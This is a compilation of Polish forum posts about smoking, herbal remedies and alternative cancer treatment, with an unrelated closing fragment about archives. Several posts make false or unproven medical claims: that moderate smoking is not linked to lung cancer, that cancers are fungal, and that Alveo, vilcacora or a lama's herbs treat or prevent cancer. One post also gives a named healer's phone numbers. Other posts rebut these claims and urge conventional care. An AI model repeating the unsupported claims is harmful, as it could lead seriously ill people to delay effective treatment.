palacze maja większe IQ
Palą zdrowsi! U palących w sposób kompulsywny po kilka paczek dziennie
istotnie częściej rozwijają sie nowotwory płuc, ale...Nie udowodniono jednak
takiego związku u palących w umiarkowanych ilosciach ( do 10 papierosów
dziennie). Udowodniono natomiast, że palenie tytoniu zapobiega chorobie
Parkinsona! Palacze później na nią zapadają, a więc można stwierdzić, mózg
palacza wolniej sie starzeje. Choroba Parkinsona jest bowiem jedną z chorób
wynikających z degeneracji układu nerwowego. W końcy tytoń to zioło...

     

  palacze maja większe IQ
Palacze maja większe IQ ? Chyba że ci którzy...
... jeszcze żyją . Ci którzy odeszli już nie biorą udziału w testach .

letalin napisał:

> Palą zdrowsi! U palących w sposób kompulsywny po kilka paczek dziennie
> istotnie częściej rozwijają sie nowotwory płuc, ale...Nie udowodniono jednak
> takiego związku u palących w umiarkowanych ilosciach ( do 10 papierosów
> dziennie). Udowodniono natomiast, że palenie tytoniu zapobiega chorobie
> Parkinsona! Palacze później na nią zapadają, a więc można stwierdzić, mózg
> palacza wolniej sie starzeje. Choroba Parkinsona jest bowiem jedną z chorób
> wynikających z degeneracji układu nerwowego. W końcy tytoń to zioło...

Podobnie twierdził mój przyjaciel ś.p. Jacek K. , palący jak ty piszesz w
sposób kompulsywny . Pogrzeb odbył sie dwa lata temu . Ja paliłem b.długo .
do 1996 r. (do 10 papierosów dziennie) , czyli do stwierdzenia u mnie astmy
i przejścia na rentę .
P.S.Kiedy paliłem pocieszałem sie podobnie jak ty .

  dieta oczyszczająca
Organizm sam oczyszcza się z toksyn. Unieszkodliwianie substancji toksycznych
zachodzi w wątrobie, a poza tym są one usuwane przez nerki z moczem. Nie ma
diety, która wzmaga ten proces. Natomiast należy pamiętać codziennie o
wypijaniu 1,5-2l płynów, ponieważ dzięki wodzie wydalane są z organizmu różne
szkodliwe związki np. gromadzące się w mięśniach w czasie silnego wysiłku
fizycznego. Dla zachowania zdrowia poleca się stosowanie na co dzień diety
zgodnej z zasadami racjonalnego żywienia. Najzdrowszym modelem diety w Europie
jest dieta śródziemnomorska.
W krajach, w których zwyczajowym sposobem żywienia jest dieta śródziemnomorska,
życie trwa najdłużej i mieszkańcy tych krajów rzadko zapadają na choroby układu
krążenia, niektóre nowotwory, cukrzycę, nadciśnienie tętnicze.
Dieta śródziemnomorska to dużo warzyw (włączając w to nasiona roślin
strączkowych), produktów zbożowych, świeżych owoców, ryb, jogurtu i orzechów a
mało mięsa, jaj i cukru. Nie ma zwyczaju smarowania pieczywa. Prawie nieznane
są zasmażki z mąki, czy dodatek śmietany do zupy. Jako tłuszczu używa się
głównie oliwy. Produkty spożywcze są świeże i przyprawione dużą ilością czosnku
i ziół. W diecie tej jest mało tłuszczu nasyconego (sprzyjającego rozwojowi
miażdżycy i choroby wieńcowej) a dużo nienasyconego (przeciwdziałającego
miażdżycy).
Szczegółowe zasady zdrowej diety przedstawione są w wątku nr 333. Pozdrawiam

  Medycyna naturalna
Medycyna naturalna

Zgory zastrzegam, ze to nie reklama.Jestem weterynarzem i niezlym znawca
kilku naturalnych metod leczenia.Jestem zwolennikiem ziol i
homeopatii.Medycyna alternatywna wyszla mi na spotkanie po smierci mojej
zony, ktora zmarla na raka.W tej chwili wiem naprawde duzo o mozliwosciach
leczenia i to b.skutecznego chorob pochodzenia grzybiczego,a do takich nalez
nowotwory,czy sie to podoba nowoczesnym lekarzom, czy tez nie.Porad udzielam
za darmo oczywiscie,bo taka mam filozofie zycia.Podaje telefony i nazwisko,bo
nie robie niczego zlego...Pawel Zagrzejewski 501075969 lub
0552721229 .Pozdrawiam i zapraszam

     

  Medycyna naturalna
haszek3 napisał:

>
> Zgory zastrzegam, ze to nie reklama.Jestem weterynarzem i niezlym znawca
> kilku naturalnych metod leczenia.Jestem zwolennikiem ziol i
> homeopatii.Medycyna alternatywna wyszla mi na spotkanie po smierci mojej
> zony, ktora zmarla na raka.W tej chwili wiem naprawde duzo o mozliwosciach
> leczenia i to b.skutecznego chorob pochodzenia grzybiczego,a do takich nalez
> nowotwory,czy sie to podoba nowoczesnym lekarzom, czy tez nie.Porad udzielam
> za darmo oczywiscie,bo taka mam filozofie zycia.Podaje telefony i nazwisko,bo
> nie robie niczego zlego...Pawel Zagrzejewski 501075969 lub
> 0552721229 .Pozdrawiam i zapraszam

Nieprawda, nowotwory nie sa chorobami pochodzenia grzybiczego. To wymysl lobby
firm produkujacych i sprzedajacych srodki przeciwgrzybicze. Nowotwory to skutek
zablokowania energii w ludzkim organizmie, co najczesciej powodowane jest
rzuceniem przez kogos klatwy. Tylko zdjecie klatwy pomaga, a nie jakies
antygrzybicze preparaty.

Porad udzielasz za darmo, a te swoje "lekarstwa" tez darmo dajesz, czy na nich
to juz zarabiasz ?

  sok z owocow NONI
elle666 napisała:
> no i jeszcze preparaty ktorej firmy mozecie polecic bo jest ich na rynku dosc
> duzo a wolalabym uzywac juz cos sprawdzonego
Różnych firm jest dużo na polskim rynku,jeszcze więcej preparatów.
Aby wymienić jekiekolwiek należy wiedzieć czego szukasz.Znam kilka firm
produkujących wysokiej jakości naturalne preparaty z nazwy.Osobiście poznałem
trzy z nich. Aktualnie korzystam z bardzo uniwersalnego suplementu o nazwie
Alveo. Składa się z 26 wyciągów świeżych ziół i obniża poziom substancji
toksycznych w organizmie
daje większą odporność przeciw obciążeniom i chorobom
ma działanie rewitalizujące i remineralizujące
stanowi profilaktykę chorób nowotworowych
zapewnia równowagę biochemiczną
Działa tonizująco i immunomodulująco,posiada działanie przeciwalergiczne, przeciwzapalne,antybakteryjne i antywirusowe.Stymuluje pracę nerek i posiada
wiele jeszcze innych zalet.

  co na torbiel jajnika
Zakladam, ze na podstawie USG wniskuje pani, ze cysta jest zwykla. Natomiast
USG nie jest dokladna metoda diagnostyczna jezeli chodzi o jajniki. Jako
naukowiec pracujacy w dziedzinie nowotworow jajnika, radze pani nie
bagatelizowac zadnych patologicznych zmian w jajnikach. Takie zmiany moga
potencjalnie przerodzic sie w nowotwor zlosliwy (Dla informacji podaje, ze
nowotwor zlosliwy jajnika bardzo rzadko mozna wyleczyc, a choroba postepuje
zwykle bardzo szybko. Nie zakladam, ze w chwili obecnej w pani przypadku tak
jest.) Zamiast ziol i bioenergoterapeutow radze do podejsc do sprawy bardzo
racjonalnie. Powinna pani (koniecznie!) poddac sie zabiegowi chirugicznemu.
Cyste zwykle usuwa sie za pomoca laparoskopii. Nie jest to zbyt obciazajaca
operacja i czas rekonwalescencji jest krotki.
Zycze madrych decyzji.

  Terapia Gersona, leczenie raka FILM !!!!!!
O to naprawde szkoda, ze twoj post zostal usuniety z
forum "Nowotwory-damy sobie rade",ale jak slusznie zauwazylas tam sa
umieszczane posty o konwencjonalnym leczeniu.Ja mialam ochote
otworzyc tam watek o leczeniu raka i innych chorob dietetyka:
makrobiotyka,Gersona, metoda Instytutu Hippokratesa , ziolami
wspomagajacymi funkcje organizmu, masazami itd,ale akurat trafilam
na straszna pyskowke dot.Liiany czy Liinyi ...zrezygnowalam.Akurat
diete uwazam za baze wyjsciowa do pozostalego leczenia.Zupelnie nie
rozumie dlaczego aprobuja tam medode Simona-wizualizacje ,a nie
diety.Sama zreszta widzisz ,ze mialam racje,iz ludzie wola
przerzucac na jalowym biegu argumenty X bioenergoterapeuta jest
dobry czy zly.A gdy mozna juz naprawde cos zrobic to im szkoda
czasu,bo przeciez nie mowimy tu o zadnych pieniadzach tylko
drastycznym zmianie stylu zycia.Niemniej jeszcze raz dziekuje ci za
ten watek.Dla mnie jest odzywczy.Jest tyle wspanialych metod
medycyny naturalnej a na tym forum w kolko jedno i to samo.Przesylam
pozdrownienia.

  leczenie nowotworów
anka.07 napisała:

> Poszukuje kontaktu do osób, które w chorobie nowotworowej zdecydowały się
> walczyć tylko z wsparciem medycyny naturalnej ( bioenergoterapia, zioła,
> preparaty itd. ) proszę o kontakt anka.07@gazeta.pl

Takich nie ma już wśród żywych. Nie skontaktujesz się z nimi.

  Mercilon???
Gość portalu: rouge napisał(a):
>Pamiętaj jednak - aby być 100% zabezpieczoną bierz pigułki zawsze o
> tej samej godzinie (zachowaj ulotkę z leku i noś ją przy sobie - w razie
> paniki, będziesz wiedziała, co robić), nie pal (to zwiększa ryzyko zajścia w
> ciążę) i pij jak najmniej (albo wcale) alkoholu. A tabletkę popijaj wodą -
nie
> kawą, herbatą, mlekiem czy sokami - mogą one nieznacznie wpłynąć na jej
> działanie. Baw się dobrze!

oj, przestań - nie strasz dziewczyny ascezą, papierosy nie obizają skutaczności
piguły, tylko zwiększają ryzyko zachorowania na niektóre choroby układu
krążania oraz nowotwory, zwłaszcza jeśli pali się dużo po 35 roku życia,
alkohol można pić byle nie w takich ilościach, które powodowałyby rzygawicznego
kaca, popijać mozna czym się chce, a opóźnienie do 12 godzin w przyjęciu
tabletki (w przypadku tabl. dwuskładnikowych do jakich należy mercilon) nie
wpływa ujemnie na jakość zabezpieczenia. Uważac i to bardzo trzeba natomiast na
wszelkie interakcje tabletek z innymi lekami, zwłaszcza antybiotykami, lekami
uspokajającymi (nie mówię o ziołowych) oraz nasennymi. Prawdziwym zagrożeniem
dla skuteczności są właśnie:
1. interakcje z lekami
2. opóźnienie w przyjęciu tabletki ponad 12 godzin
3. wariace żołądkowe
jeśli tego pilnujesz to moższe pić, palić i żyć spokojnie

  W sprawie szkodliwych praktyk na tym forum
CZYTAJCIE UWAŻNIEJ!!!
To ja pisałam o kuracjach ziołowych, wiele razy. Nie wiem natomist, czy
dokładnie wczytałaś się w moje posty - zawsze, zawsze pisałam o WSPOMAGANIU,
wspomaganiu, nie zastępywaniu. Nie jestem oszołomem, moja babcia przez 5 lat
walczyła z nowotworem, zgrabnie łącząc medycynę naturalną z terapią chemicznną,
przy czym terapia niekonwencjonalna miała na celu wzmocnienie orgaznizmu, bo
wszystko, co w tej kwestii może zaproponować medycyna klasyczna, to tabletki ze
sztucznymi witaminami i pierwiastkami, a czasem rózne niedouki proponują
szczeionki, które przy chorobie nowotworowej mogą być śmiertelne. A przyznasz,
że mało co tak wykańcza orgaznim jak chemio- i radioterapia...

  jak niekonwencjonalnie leczyć raka gardła
Witaj Jurku,
podobnie jak Ty, choruje na nowotwor, swoja chemie skonczylam w czerwcu wiec
jestem w stanie wyobrazic sobie jak sie czujesz...
Swoja terapie wspomagalam ziolami, w tym slynna vilcacora. Ma ona silne
wlasciwosci antyrakowe i ponoc pomogla juz wielu ludziom. Ziola te rosna w
Peru, gdzie do leczenia wykorzystuje je Ojciec Edmund Szeliga (moze gdzies juz
o tym slyszales). Nie jestem w stanie powiedziec na ile mi pomogly, bo moje
leczenie jest dosyc skomplikowane i niestety wciaz trwa, ale przyslowiowy
"tonacy" kazdej deski sie chwyta...
Jesli jestes zainteresowany, to sluze pomoca.
Stosowalam je przez prawie pol roku, oczywiscie mieszanki zamawialam w Peru,
choc wiem ze Centrum ma tez swoja siedzibe w Londynie. Maja tam swoich lekarzy,
ktorzy po wgladzie Twojego opisu choroby, maja ulatwione zadanie dobierajac
odpowiednie ziola, dawki, diete itp.
Gdybys mial mozliwosc i sily, to polecam ksiazke Grzegorza Rybinskiego i Romana
Warszewskiego pt: VILCACORA LECZY RAKA.
Zycze Ci duzo sil w zmaganiach z chemia, pozdrawiam serdecznie i jestem dobrej
mysli :)

  jak niekonwencjonalnie leczyć raka gardła
Gość portalu: adriana napisał(a):

> Witaj Jurku,
> podobnie jak Ty, choruje na nowotwor, swoja chemie skonczylam w czerwcu wiec
> jestem w stanie wyobrazic sobie jak sie czujesz...
> Swoja terapie wspomagalam ziolami, w tym slynna vilcacora. Ma ona silne
> wlasciwosci antyrakowe i ponoc pomogla juz wielu ludziom. Ziola te rosna w
> Peru, gdzie do leczenia wykorzystuje je Ojciec Edmund Szeliga (moze gdzies
juz
> o tym slyszales). Nie jestem w stanie powiedziec na ile mi pomogly, bo moje
> leczenie jest dosyc skomplikowane i niestety wciaz trwa, ale przyslowiowy
> "tonacy" kazdej deski sie chwyta...
> Jesli jestes zainteresowany, to sluze pomoca.
> Stosowalam je przez prawie pol roku, oczywiscie mieszanki zamawialam w Peru,
> choc wiem ze Centrum ma tez swoja siedzibe w Londynie. Maja tam swoich
lekarzy,
>
> ktorzy po wgladzie Twojego opisu choroby, maja ulatwione zadanie dobierajac
> odpowiednie ziola, dawki, diete itp.
> Gdybys mial mozliwosc i sily, to polecam ksiazke Grzegorza Rybinskiego i
Romana
>
> Warszewskiego pt: VILCACORA LECZY RAKA.
> Zycze Ci duzo sil w zmaganiach z chemia, pozdrawiam serdecznie i jestem
dobrej
> mysli :)

Adriano... dziękuję... mam niezbyt dużo siły ... ale Cieszy mnie to, że mogę
tutaj z wami rozmawiać. Tobie też życzę dużo sił ...nie mogę jeść... ale
dzisiaj zjadłem zupę rybną i naprawdę mi smakowała...
dziękuję :)

  zioła a nowotwory
Zanim sięgniesz po zioła musisz zadać sobie pytanie,,,,Jak niewielki procent
roślin,został tak naprawdę przebadany pod kątem ich własności
farmakologicznych,oraz możliwości wykorzystania w lecznictwie.Same suszone
zioła nie przynoszą spodziewanych efektów,ponieważ metody przetwarzania i
przechowywania mają ogromny wpływ na jakość końcowego produktu.Niewłaściwe
metody zbiorów,suszenia,magazynowania oraz ekstrakcji ,oczyszczania ii dalszego
przetwórstwa prowadzi do dezaktywacji substancji czynnych i może się wiązaćnie
tylko z obniżeniem stęzęnia pożadanych substancji jak też do powstania
toksycznych produktów rozkładu.Tak więc choroba nowotworowa jeśli ma być
wspomagana naturalnymi środkami to muszą być one zweryfikowane pod kątem
jakościowym ,bo można też zaszkodzić wprowadzając do chorego organizmu
substancje szkodliwe......

  zioła a nowotwory
w przypadku nowotworow chyba chemoterapia jest w tej
chwili naj bardziej pewna w leczeniu.Osobiscie kocham
medycyne naturalna- i uwazam ze w wielu chorobach
jest wiecej skuteczniejsza, ale nowotwor tu niemoze byc
probowania czy testowania.Wiele jest ziol na swiecie
ktore moga wspomagac leczenie-ale z tych ktore rosna w
Europie to raczej trzeba zrezygnowac, sa nieskuteczne,
przy nowotworach-chyba nalezaloby sprobowac jak najszybciej
azjiatyckich -ziol , gdyz tam pracuje sztab ludzi ktory
prowadzi badania farmotologiczno-medyczne nad
ziolami:Chiny,Indie,Tybet,Himalaje!

  kto zna Panią Haliunda z ulElektoralnej w Wawie
kto zna Panią Haliunda z ulElektoralnej w Wawie
Od miesiąca przyjmuje zioła prawdopodobnie chińskie od pani Haliundy z
Mongolii. Przyjmowała w mieszkaniu na ul. Elektoralnej a obecnie na
Marszałkowskiej w Warszawie. Zastanawiam się komuś z Was pomogła swoimi
ziółkami. Ja w zasadzie faktycznie czuję się lepiej po tym "leczeniu".a le
wczoraj się trochę zdystansowałam do tych ziółek. Poczytałam mianowicie w
necie o tych specyfikach chińskich i prawdę mówiąc trochę się przeraziłam. Do
niektórych podobno dodoawane są narkotyki albo substancje o bardzo podobnym
działaniu, w związku z czym te zioła moga uzależnić, albo też powodują
depresję czy wręcz prowadza do chorób nowotworowych. Co o tym myślicie, jakie
macie doświadczenia, jak to wszystko sprawdzic....???? Dużo pytań zaczęło mi
się nasuwać ...
pozdrawiam i czekam na komentarze

  Torbiel jajnika
Tak, dużo biorę,miałam bardzo wysokie markery nowotworowe,dzięki ziołom spadły i
są w normie.Poza tym,dzięki Castagnusowi zmniejszyły mi się i to dużo, bóle
brzucha,związane z torbielą,z innego forum wiem,że po tym zielu jednej
dziewczynie torbiel zniknęła.Moja torbiel niestety nadal jest,to
czekoladowa,więc nie tak łatwo się jej pozbyć.To chyba endometrioza,ale
zamierzam z nią walczyć,to choroba układu immunologicznego,chodzi więc o to,by
go wzmocnić,tylko wtedy można sobie poradzić z torbielami.A i jeszcze jedno,to
dieta,trzeba ograniczyć mięso,cukier,jeść dużo warzyw i owoców,dobra dieta
reguluje gospodarkę horm.Zioła zawsze pić na pół godz.przed jedzeniem,trzy razy
dziennie.Powodzenia.

  co gdyby......stymuluje system odponrnościowy
> Skąd wiadomo, że na 100% nam to szkodzi?

W przypadku roznych roslin/ziol wiadomo jaki maja skutek na uklad
immunologiczny. Np. patrz stronka prof. Rozanskiego o aloesie.

Generalnie coraz wiecej wiadomo jakie sa mechanizma dzialania ukladu
immunolgicznego.
Wiadomo coraz wiecej o tym co (np. lifocyty T, limfocyty T, cytokiny etc.) -
kiedy (choroba bakteryjna wirusowa, nowotwor, autoagresja) oraz jak dziala.
Do pelnego poznania i zrozumienia jeszcze daleko ale jednak troszke wiadomo.

A z tego jak rozwija sie/przebiega HAshimoto wiadomo coraz wiecej o tym
jaki "obszar dzialalnosci" ukladu immunologicznego jest wazny przy Hashi.

Poza tym byly na forum osoby ktore sie wspomagaly takimi preparatami - zanim
wiedzialy ze sa chore i zanim sie dowiedzialy ze to im moze szkodzic.

A teraz jesli chodzi o objawy to bedzie sie dzialo to co przy wzroscie
przeciwciala i rzucie choroby. Objawy bywaja rozne i o roznym nasileniu.
Np. moze sie okazac ze nagle sa problemy z hormonami tarczycy (niedoczynnosc
lub nadczynnosc).
Poza tym jakiekolwiek rzuty chorob autoimmunolog. moga sie objawiac w postaci
dermatoz czy uczulen. U mnie przynajmniej tak bylo.

  Brat w czasie chemioterapii
Ostatnio interesuje się medycyna chińską i w jednej książce znalazłam taki
przepis:
Mieszanka Pana Paprzęckiego
Pomaga w regeneracji i odbudowie krwi w każdym przypadku. Szczególnie jest
wskazana w chorobach nowotworowych, przy chemii:
50g suszonej pokrzywy, 50g ziela bukwicy, 50g ziela rzepiku, 50g kozieradki
zmielić, wymieszać i zażywać "na sucho" 2 razy dziennie po poł łyżeczki
(ostrożnie bo można się zachłysnąć) popijając herbatą tymianko-lukrecjowo-
imbirową.

Przepis ziołowy, ale może pomoże.

pozdrawiam

  Czy ktoś słyszał o jakiś cudownych uleczeniach?
Rybia łuska to jednak nie choroba nowotworowa.
Gdyby istniały cudowne środki, nie byłoby potrzeby leczenia konwencjonalnego,
niepotrzebnego męczenia pacjentów etc.
Część dystrybutorów powołuje się na badania mające jakoby potwierdzać działanie
preparatów. Żadny z nich nie przeszedł jednak pozytywnie żmudnej procedury,
badań klinicznych etc.
Mój stanowczy protest wobec tych "cudowności" wynika jednak przede wszystkim z
tego, że sporo osób leczy się najpierw w taki sposób, rezygnując z operacji i
traci wiele miesięcy. A dystrybutorzy wszelkiej maści obiecują cuda-wianki i
człowiek w tak trudnym momencie chwyta sie wszelkiej nadziei.
Nawet rodzinom chorych w stanie terminalnym wciska się jakieś zioła, mówiąc że
stan chorego wynika z tego, ze nowotwór ucieka z ciała bo zioła działają etc.

  Czy ktoś słyszał o jakiś cudownych uleczeniach?
Chyba nie ma takiej osoby. Niemal wszystkich ze zdiagnozowanym nowotworem leczy
się konwencjonalnie. Tylko w dużej części (też z powodu zaawansowania choroby)
takie leczenie nie przynosi skutków. Wtedy sięga sie za co innego (zioła,
bioenergoterapia) i to CZASEM daje rezultaty. Dlatego warto próbować ale nigdy
nie rezygnując z lekarza konwencjonalnego. Chociaż ja nie wiem czy np. w
przypadku mojego Taty zdecydujemy się na chemię, bo to chyba by go zabiło.

Nigdy nie zrozumiem osób, które nie chcą się badać czy poddawać operacjom z
powodu lęku. CZy one myślą co będzie dalej? Że jak nie będą o tym mówić i
myśleć to choroba zniknie?

  Kto stosował z powodzeniem głodówkę leczniczą?
Czesc, winner, przepraszam ze dopiero odpisuje ale mi sie ten watek "zapodzial".
Tak, swietnie to rozumiesz, ze informacji o wplywie róznych diet na choroby
nowotworowe jest cala masa , ale trudniej o weryfikacje w praktyce. Ja sie juz
odzywiam prawie w 100 % wegetariansko, ograniczylam sery prawie do zera, z
czego jestem bardzo dumna, nawet ryb mi sie nie chce, chodze na warsztaty
makrobiotyczne, bylam na turnusie oczyszczajacym na poczatku października
ze "Światem Wegetarianskim", gdzie gotował Stefan Porada, mistrz kuchni
makrobiotycznej a wyklady prowadzila dr Romanowska (ktora leczy dieta, ziołami,
ale bardziej opiera sie na ogolnym wzmacanianiu organizmu i metodzie
Simontona). Ale dieta to caly czas nauka, bo lenistwo czuwa. Jesli cie
zainteresuje, znalazlam wyniki badan projektu zywieniowego opartego na
dietetyce makrobiotyczneji opartego o kilka autorytetów naukowych, prowadzonego
na Slasku dla ogromnej grupy nowotworowców. Wyniki wskazuja jednoznacznie na
powiazanie braku lub rzadszych nawrotow choroby w grupie ktora zmienila diete.
Ja sama juz od roku nie bylam chora czy przeziebiona, teraz mialam badania
kontrolne, czekam na wynik, wstepny nie byl niestety jednoznacznie dobry,
wskazywal na na jakies ruchy, ale czekam dwa tygodnie na potwierdzenie co
dalej. A jak u Ciebie, czy juz po operacji? jak sie czujesz? Co sie zmienilo?
Trzymam kciuki i pozdrawiam. Kama

  W jaki sposób rak powoduje smierć?
Dziękuję Scept89 za wyczerpującą odpowiedź.

Do Judyty1100.
Moja mama miała cewnik przez 4 miesiące.Zdarzyło się przez okres 2-3
tygodni że w moczu była ropa, w zasadzie nie dało się z tego worka
spuścic moczu-takie było gęste.Lekarz(opieka paliatywna) nie widział
w tym problemu-nie chciał wymienic cewnika(był juz ponad miesiąc
niezmieniany-az sama wymieniłam)-bo nie było goraczki,nie było krwi
w moczu, nie przepisał antybiotyku.Po wymianie cewnika stan zapalny
przeszedł, poza tym mama piła zioła przeciwzapalne :szałwia, trochę
nagietka. Nie umiem odpowiedzic jakie mogły byc wyniki badań-nie
chcieli pobierac moczu do analizy. Wiem,że są zakładane
cewniki,których nie zmienia się przez bardzo długi czas-one nie
powinny powodowac stanu zapalnego, chociaż w chorobie nowotworowej
nic nie jest tak pewne.

  *Do Mikolaja ktory napisal do mnie na priv!
*Do Mikolaja ktory napisal do mnie na priv!
Hej, niestety napisames korzystajac z jakiejs automatycznej opcji i
nie mam adresu mailowego, na ktory moge odpisac:-)
Mam nadzieje, ze znajdziesz moja odpowiedz tutaj. Oto on

Nie jestem lekarzem i nie moge byc jakas ostateczna instancja jesli
chodzi o sposoby leczenia.
Szczerze jednak mowiac ja nie wierze w tzw. medycyne
niekonwencjonalna. W dzisiejszych czasach jest malo prawdopodobne,
zeby jakies skuteczne metody leczenia byly znane jedynie grupie
wtajemniczonych osob. Oczywiscie zwolennicy parafarmaceutykow mowia,
ze na rynku panuje zmowa firm farmaceutycznych etc., ale z kolei
gdyby tylko istnialo jakiekolwiek podejrzenie, ze cos dziala na
nowotwory firmy farmaceutyczne stanelyby na glowie, zeby recepture
opatentowac i robic na niej duze pieniadze.
Oczywiscie jesli takie rownolegle leczenie jest w jakims sensie
wsparciem psychologicznym dla chorej osoby, to trudno go komus
odmawiac chociaz jakiekolwiek rownolegle podawanie jakichkolwiek
preparatow, nawet ziol MUSI byc skonsultowane z lekarzem prowadzacym
Twoja Mame, bo nawet takie z pozoru niewinne rzeczy jak n.p.
dziurawiec moga wchodzic w interakcje z podawanymi w konwencjonalnym
leczeniu lekami.
Nie znam tych firm i preparatow, o ktorych piszesz, tych rzeczy jest
cala masa na rynku. Jesli ich dystrybutorzy reklamuja je jako
preparaty majace wplyw na chorobe nowotworowa, to zwykle oszustwo
kwalifikujace sie do prokuratury.
Jesli chcesz, spytaj o te preparaty na forum, moze ktos sie z nimi
spotkal.

Pozdrowienia dla Ciebie i zyczenia powrotu do zdrowia dla Twojej Mamy

B.

  Marcin Pawłowski - pozdrawiamy!!!
pacjent który wierzy w coś (w leki, w Siebie, w Siłę Wyższą) ma trzykrotnie
większe szanse wyzdrowienia, medycyna nazywa to efektem placebo.

Dr Michael Sharon w książce (reklama zabroniona):-)))opisał wpływ wiary w
cudowne leki, a uleczenie:
"Mężczyzna z poważną chorobą nowotworową, który musiał oddychać przez maskę
tlenową, poprosił swojego lekarza o eksperymentalny lek o nazwie Krebiozen, w
owym czasie obwołany "cudownym lekarstwem" na raka. Po pierwszej dawce guzy u
tego człowieka "razpłynęły się jak śnieżki na gorącym piecu". Wkrótce odzyskał
zdrowie i stał się na tyle aktywny, że zaczął nawet latać jako pilot swoim
samolotem. Wkrótce potem przypadkowo przeczytał o wynikach badania, którym
Krebiozen okazał się nie skuteczny. Jego guzy natychmiast pojawiły się znowu i
zaczęły się rozrastać (....)"
Podobne przypadki medycyna polska też zna - Uncaria Tomentosa. Oszukując
chorego, silną sugestią:
"Rozmawiałem z konsultantem z Londynu i powiedział, że tą postać raka
peruwiańskie zioło leczy u ponad 90% pacjentów i za 3-miesiące na badaniach
kontrolnych nie będzie śladu choroby, jak wspomożesz to modlitwą."
To działa!!!, Siła Sugestii jest Wielka, chorzy zdrowieją.
Nie wiem co tych ludzi ulecza, chyba nie te zioła, lecz ich Wiara.

kraxa - jest zapewne ateistką, skoro tak reaguje. Uszanujmy to, bo to jej
wybór. Niech tylko pamięta, że w lekarstwa też czasami trzeba wierzyć. Jak
wyleczyć kogoś kto w nic nie wierzy.

Warto wspomagać chorych ludzi duchowo, nawet gdy medycyna mówi nieuleczalne.

  Mam raka piersi - Jak leczyc? Herbalife? DIeta?
artur737 napisał:

> To co piszesz moze powaznie komus zaszkodzic.
> Chemia lub radioterapia dziala na raka i leczy poprzez produkowanie wolnych
> rodnikow. Ziola i suplementy te wolne rodniki usuwaja wiec w ten sposob te
> dwa podejscia sie bardzo ze soba gryza i jedno niweluje drugie.

"Wolne rodniki są pochodnymi zwykłych cząsteczek, z których została wyrwana najmniejsza część, czyli elektron. Mają one bardzo niszczęce działanie. Powodują na przykład jełczenie tłuszczów w ścianach komórkowych, co jest jedną z najważniejszych przyczyn powstawania chorób nowotworowych."

Czegoś tutaj chyba nie rozumiem Arturze.Chemio- i radioterapia w/g Ciebie
leczy poprzez produkowanie wolnych rodników-jedną z najważniejszych przyczyn
powstawania choroby nowotworowej?
Cytowany fragment i całą resztę tego frapującego tematu można znaleźć poprzez google.
Do reszty wypowiedzi i pozostałych dyskutantów nie będę się ustosunkowywał.
Każdy wie swoje i wg tej wiedzy żyje.Życie samo weryfikuje kto ma rację i nikt
nikogo nie przekona do swoich,jeżeli ten ktoś nie będzie tego sam chciał.
To kwestia światopoglądu,wiedzy i wyboru mentora.Dlatego jedni zapadają na
choroby,gdy inni cieszą się zdrowiem.Niech to będzie puentą tej dyskusji
z moim udziałem.

  ALVEO
ALVEO
Czy ktos probowal stosowac ziola o nazwie ALVEO?
podobno sa skuteczne na niemal wszystko nawet nowotwory.nie bardzo chce mi
sie wierzyc w takie uniwersalne preparaty ale kto wie? w kazdym razie
chcialabym zasiegnac troche informacji od Was zanim sie skusze,zwlaszcza ze
cena ich nie jest niska.chodzi mi glownie o skutecznosc w leczeniu chorob
skory i tarczycy ale innych tez.dzieki

  jak rozpoznac raka?
malgo napisala:

Mysle ze jesli chodzi o choroby nowotworowe niestety nie ma mowy o zadnej
> profilaktyce.Uwierz ludzie prowadzący super zdrowy tryb zycia ,uprawiajacy
> sporty chorują ,niestety nie ma reguły.Mysle ze jedyne co mozna dla siebie
> zrobic to napewno sie badać i niebagatelizowac objawów złego samopoczucia
> ktore trwają dłuzej niz tydzien.Moja choroba jak stwierdził onkolog to
> przypadek, poprostu trafiło na mnie i nawet gdyby wiadomo było ze zachoruje
nie

Eeeeeee tam gadanie, rak to przeznaczenie? co to znowu za teoria? Porownaj ile
ludzie chorowalo na raka 200 lat temu a ile teraz. To przedewszystkim kwestia
zatrutego srodowiska, plus zatrugego jedzenia pelnego chemii, trybu zycia, no
oczywiscie ze czynnik - geny tez odgrywa role.
Poprostu trzeba sie za siebie wziasc, to wszystko. Ktos uprawial sport a jadl
byle co i ani razu w zyciu nie zadbal o oczyszczenie organizmu. Wiec co to jest
nieefektywnosc sportu, czy niedbalstwo?
Gdybym jak tak sie sluchal lekarzy i robil tylko to co oni kaza, pradopodobnie
nie byloby mnie gdzies tak od roku 1995. Mam swoje podejscie do tych spraw no i
to wszystko. Przyslowie angielskie mowi: "Na kazda chorobe ktora znamy, Bog
hoduje skuteczne ziolo" mmniej wiecej tak to brzmi, i to jest prawda wlaczajac
raka i inne ciezkie choroby.
A ze ktos nie wierzy to juz jego sprawa.

  Ważne !! Rak trzustki.
witajcie,
vecka ma po czesci duzp racji z tymi ziolami,ja obecnie chodze do Lamy(moim
problemem jest brak dzieci) ale Lama oprocz tego leczy nowotwory i inne ciezkie
przypadki. Daje duzo ziol do picia, ktore w smaku sa okropne ja pocztakowo
dostawalam torsji...dzis pije je jak herbatke.Ziolka biore juz od m-ca, a potym
czasie zauwazylam ogromny postep w moim organizmie. Czuje sie bardzo dobrze a i
pierwsza miesiuaczka ktora wystapila miala wreszcie czerwony kolor a nie jak
dotychczas czarny. Branie ziolek polaczone jest rowniez z dietaa raczej
wyeliminowaniu kilku rzeczy, filozofia Lamy jest taka ze kazda choroba ma swoj
poczatek od chorej watroby, ktora w naszym organizmie pelnie niezwykle wazna
role oczyszczania z toksyn. Dlatego zakaz ZAKAZ ani lyczka Kawy, Sok z
pomaranczy, alkochol, czosnek, gorace kapiele, kurczaka, rosol etc...Od czasu
kiedy to stosuje nie mam wzdec...a poszlam do niego bo u mnie w rodzinie
wszyscy pomumierali na raka watroby...wiec lecze sie u niego z dwoch sposobow

  POMOCY! szukam dobrego bioenergoterapeuty! (W-wa)
Proponuję napisać troche więcej o chorobie, objawach, branych lekach
i podać na forum nowotwory- damy radę, Tam są ludzie którzy z tymi
kłopotami stykają się na codzień. Napewno przy tego typu chorobie
będzie można zastosować zioła krajowe może Peruwiańskie czy chińskie.
Nie wykluczam, że trzeba będzie poprosić radiestetę i
odpromieniować mieszkanie.Należy też sprawdzić czy ściany nie są
zagrzybione bo spory są szkodliwe dla zdrowia.

  Nadchodzi grzebanie w życiorysach
Pomieszani są wszyscy na liście katalogowej, przeznaczonej dla archiwistów. Ale nie będą, kiedy zacznie się wydawanie do wglądu dokumentów zainteresowanym.

